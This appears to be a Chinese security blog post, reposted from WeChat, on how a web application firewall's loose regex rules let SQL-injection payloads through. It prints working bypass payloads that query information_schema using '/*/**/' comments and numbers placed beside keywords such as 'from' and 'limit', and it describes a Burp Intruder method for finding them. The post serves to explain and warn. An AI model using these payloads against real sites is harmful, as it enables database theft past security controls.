这是一个会让WAF失灵的“大坑”

admin

WAF，相信大家都不陌生，算是一种常规性的安全防御武器，主要针对Web特有入侵方式进行防护，如DDOS防护、sql注入、XML注入、xss等，是绝大多数具备安全需求的企业的必备之品。

然而，许多企业在试用WAF的过程中，却会因为一些疏忽，或者是为了满足业务需要，优化用户体验等等原因，直接导致WAF可以被从容绕过。

今天就和大家一起看一起因为优化用户体验，而导致WAF在拦截SQL注入被绕过的案例。文中有干货，大家要仔细看哦。

0×00什么原理

众所周知，SQL注入是由于开发人员没有对细致地过滤用户输入的数据，致使用户输入的数据被带入SQL语句中执行，可能造成信息泄露、数据库数据泄露、非法入侵等重大危害。但是WAF会对此类漏洞拦截，如果攻击者想要利用，就必须要绕过WAF。

一般情况下，攻击者通常会先尝试提交试提交畸形的HTTP POST请求、multipart/form-data，失败后继续尝试修改Host、xff、ua、大小写转换、url编码、关键字替换，以及内部注释，如果这些都无效，那就说明面前的WAF在这些常见点的防护方面比较到位。

但是接着往下看，如果尝试编写如下payload：

select SCHEMA_NAMEfrom{x information_schema.SCHEMATA} limit 1 offset 0

可能就会有意外的事情发生。

原因是，WAF的拦截规则是根据正则表达式进行匹配，但一些企业为了保证用户体验，正则匹配的规则就不会特别严格，否则可能会伤害用户体验。在这种情况下，攻击者就可以尝试构造绕过payload了。

0×01准备工作

先找一个可以回显数据的URL。由于WAF拦截时回显是空白的，假如你的payload可以绕过，那么页面返回肯定有数据。

0×02漏洞发现方法

首先以收集信息为主，先准备一些payload：

然后使用burp的intruder。选择集束炸弹(clusterbomb)，填入相应的payload。

Burp一顿跑之后发现，

能直接绕过。

0×03总结问题

1.WAF对函数并没有什么拦截，可以直接读取数据库和用户的名字和长度。

2.WAF对/*!*/此类注释的绕过没有过滤到位，但是不久之后/*!*/就被修复了。

3.From前后跟数字可能会绕过WAF。比如上面的1e1from和=.0from

4.%23%0a代替空格会被拦截，同样的

%23%0b%0a,%23%0c%0a,%23%0d%0a,%23%09%0a,%23--%0a,%23%a0%0a均会被拦截。

即使尝试利用多种注释组合换行绕过仍然无果。

0×04攻击者的利用

但在测试中，我发现/*/**/能被利用。随后便有

提交之后很快获得修复。

随后发现，WAF升级后不再针对之前的位置进行拦截，反而去拦截limit。

但测试发现，limit前后有数字时不会进行拦截。

起初尝试：

Selecttable_name/*/**/from/*/**/information_schema.tables limit1e0，

但显然这样不利于读取数据，故选择limit前面。于是就有如下测试：

selecttable_name/*/**/from/*/**/information_schema.tables where 1=1e0limit 0,1   失败

selecttable_name/*/**/from/*/**/information_schema.tables where 1 like 1e0limit 0,1    失败

selecttable_name/*/**/from/*/**/information_schema.tables where 1 or 1e0limit 0,1    失败

最后

selecttable_name/*/**/from/*/**/information_schema.tables where 1 between 0 and2e0limit 0,1   绕过WAF

在本地测试发现，再次绕过WAF

0×05补充

select 1=.0 from information_schema.tables

select (select table_name,1=.0 frominformation_schema.tables limit 0,1)>(select '',1=.0);

是这样读数据的，为了看起来没(qi)这(shi)么(wo)复(shi)杂(lan)，就没有进行完整描述。

大概意思是一下select两列，然后进行比较。

0×06总结和思考

用户体验和安全性常常是相互冲突的，有的时候，为了保证体验的顺畅，不得不牺牲一些安全性的保障。但是，这种牺牲究竟会带来多大的隐患，很多时候，在事故发生之前我们都很难评估。

就拿今天的案例来说，select fromlimit这些关键字旁边加上数字不会遭拦截，很可能就是考虑到了用户体验，而削弱了WAF拦截规则导致的。那么攻击者只要先写一些无害的数据，然后在中间插入自己的payload就可以绕过WAF的检测，从而给企业造成巨大的伤害。

from:https://mp.weixin.qq.com/s?__biz ... lXUIi9RfASzfX2jp#rd